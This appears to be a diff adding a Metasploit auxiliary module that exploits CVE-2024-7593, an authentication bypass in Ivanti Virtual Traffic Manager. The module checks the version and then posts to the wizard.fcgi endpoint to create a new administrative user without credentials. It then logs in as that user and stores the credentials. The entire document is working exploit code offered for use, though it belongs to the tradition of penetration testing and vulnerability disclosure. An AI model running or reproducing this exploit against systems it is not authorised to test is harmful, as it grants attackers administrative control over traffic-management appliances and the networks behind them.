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| 1 | +class MetasploitModule < Msf::Auxiliary |
| 2 | + include Msf::Exploit::Remote::HttpClient |
| 3 | + prepend Msf::Exploit::Remote::AutoCheck |
| 4 | + |
| 5 | + def initialize(info = {}) |
| 6 | + super( |
| 7 | + update_info( |
| 8 | + info, |
| 9 | + 'Name' => 'Ivanti Virtual Traffic Manager Authentication Bypass (CVE-2024-7593)', |
| 10 | + 'Description' => %q{ |
| 11 | + This module exploits an access control issue in Ivanti Virtual Traffic Manager (vTM), by adding a new |
| 12 | + administrative user to the web interface of the application. |
| 13 | +
|
| 14 | + Affected versions include 22.7R1, 22.6R1, 22.5R1, 22.3R2, 22.3, 22.2. |
| 15 | + }, |
| 16 | + 'Author' => [ |
| 17 | + 'Michael Heinzl', # MSF Module |
| 18 | + 'ohnoisploited', # PoC |
| 19 | + 'mxalias' # Credited in the vendor advisory for the discovery, https://hackerone.com/mxalias?type=user |
| 20 | + ], |
| 21 | + 'References' => [ |
| 22 | + ['PACKETSTORM', '179906'], |
| 23 | + ['CVE', '2024-7593'], |
| 24 | + ['URL', 'https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Virtual-Traffic-Manager-vTM-CVE-2024-7593?language=en_US'] |
| 25 | + ], |
| 26 | + 'DisclosureDate' => '2024-08-05', |
| 27 | + 'DefaultOptions' => { |
| 28 | + 'RPORT' => 9090, |
| 29 | + 'SSL' => 'True' |
| 30 | + }, |
| 31 | + 'License' => MSF_LICENSE, |
| 32 | + 'Notes' => { |
| 33 | + 'Stability' => [CRASH_SAFE], |
| 34 | + 'Reliability' => [REPEATABLE_SESSION], |
| 35 | + 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] |
| 36 | + } |
| 37 | + ) |
| 38 | + ) |
| 39 | + |
| 40 | + register_options([ |
| 41 | + OptString.new('TARGETURI', [true, 'Base path', '/']), |
| 42 | + OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username.gsub(/[^a-zA-Z0-9_-]/, '_')]), |
| 43 | + OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(12)]), |
| 44 | + ]) |
| 45 | + end |
| 46 | + |
| 47 | + def check |
| 48 | + res = send_request_cgi( |
| 49 | + { |
| 50 | + 'method' => 'GET', |
| 51 | + 'uri' => normalize_uri(target_uri, 'apps', 'zxtm', 'login.cgi') |
| 52 | + } |
| 53 | + ) |
| 54 | + |
| 55 | + return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? |
| 56 | + |
| 57 | + body = res.body |
| 58 | + version_regex = /StingrayVersion\.Set\(\s*'([^']+)'\s*,/ |
| 59 | + match = body.match(version_regex) |
| 60 | + if match |
| 61 | + version = match[1] |
| 62 | + return Exploit::CheckCode::Appears("Version: #{version}") if Rex::Version.new(version) <= Rex::Version.new('22.7R1') |
| 63 | + else |
| 64 | + return Exploit::CheckCode::Safe |
| 65 | + end |
| 66 | + |
| 67 | + Exploit::CheckCode::Safe |
| 68 | + end |
| 69 | + |
| 70 | + def run |
| 71 | + res = send_request_cgi( |
| 72 | + 'method' => 'POST', |
| 73 | + 'uri' => normalize_uri(target_uri.path, 'apps/zxtm/wizard.fcgi?error=1§ion=Access+Management%3ALocalUsers'), |
| 74 | + 'vars_post' => { |
| 75 | + '_form_submitted' => 'form', |
| 76 | + 'create_user' => 'Create', |
| 77 | + 'group' => 'admin', |
| 78 | + 'newusername' => datastore['NEW_USERNAME'], |
| 79 | + 'password1' => datastore['NEW_PASSWORD'], |
| 80 | + 'password2' => datastore['NEW_PASSWORD'] |
| 81 | + } |
| 82 | + ) |
| 83 | + |
| 84 | + unless res |
| 85 | + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') |
| 86 | + end |
| 87 | + |
| 88 | + html = res.get_html_document |
| 89 | + title_tag = html.at_css('title') |
| 90 | + |
| 91 | + fail_with(Failure::UnexpectedReply, 'title tag not found.') unless title_tag |
| 92 | + title_text = title_tag.text.strip |
| 93 | + if title_text == '2' |
| 94 | + print_status('Request to add new admin user sent, verifying...') |
| 95 | + |
| 96 | + form = Rex::MIME::Message.new |
| 97 | + form.add_part('form', nil, nil, 'form-data; name="_form_submitted"') |
| 98 | + form.add_part(datastore['NEW_USERNAME'], nil, nil, 'form-data; name="form_username"') |
| 99 | + form.add_part(datastore['NEW_PASSWORD'], nil, nil, 'form-data; name="form_password"') |
| 100 | + form.add_part('Login', nil, nil, 'form-data; name="form_submit"') |
| 101 | + |
| 102 | + res = send_request_cgi( |
| 103 | + { |
| 104 | + 'method' => 'POST', |
| 105 | + 'uri' => normalize_uri(target_uri.path, 'apps', 'zxtm', 'login.cgi'), |
| 106 | + 'ctype' => "multipart/form-data; boundary=#{form.bound}", |
| 107 | + 'data' => form.to_s |
| 108 | + } |
| 109 | + ) |
| 110 | + if res && res.code == 302 && res.get_cookies.include?('ZeusTMZAUTH_') |
| 111 | + store_valid_credential(user: datastore['NEW_USERNAME'], private: datastore['NEW_PASSWORD'], proof: html) |
| 112 | + print_good("New admin user was successfully added:\n\t#{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}") |
| 113 | + print_good("Login at: #{full_uri(normalize_uri(target_uri, 'apps/zxtm/login.cgi'))}") |
| 114 | + end |
| 115 | + |
| 116 | + elsif title_text == '0' && html.to_s.include?('ERROR: Specified user already exists') |
| 117 | + fail_with(Failure::BadConfig, "Specified user already exists. Specify a different user name with 'set NEW_USERNAME <USER>'.") |
| 118 | + elsif title_text == '0' && html.to_s.include?('ERROR: Username must contain only: letters, numbers,') |
| 119 | + fail_with(Failure::BadConfig, "Specified username is invalid. Username must contain only letters, numbers, underscores (_), and hyphens (-). Specify a different user name with 'set NEW_USERNAME <USER>'.") |
| 120 | + else |
| 121 | + fail_with(Failure::NotVulnerable, 'Unexpected string found inside the title tag: ' + title_text) |
| 122 | + end |
| 123 | + end |
| 124 | +end |
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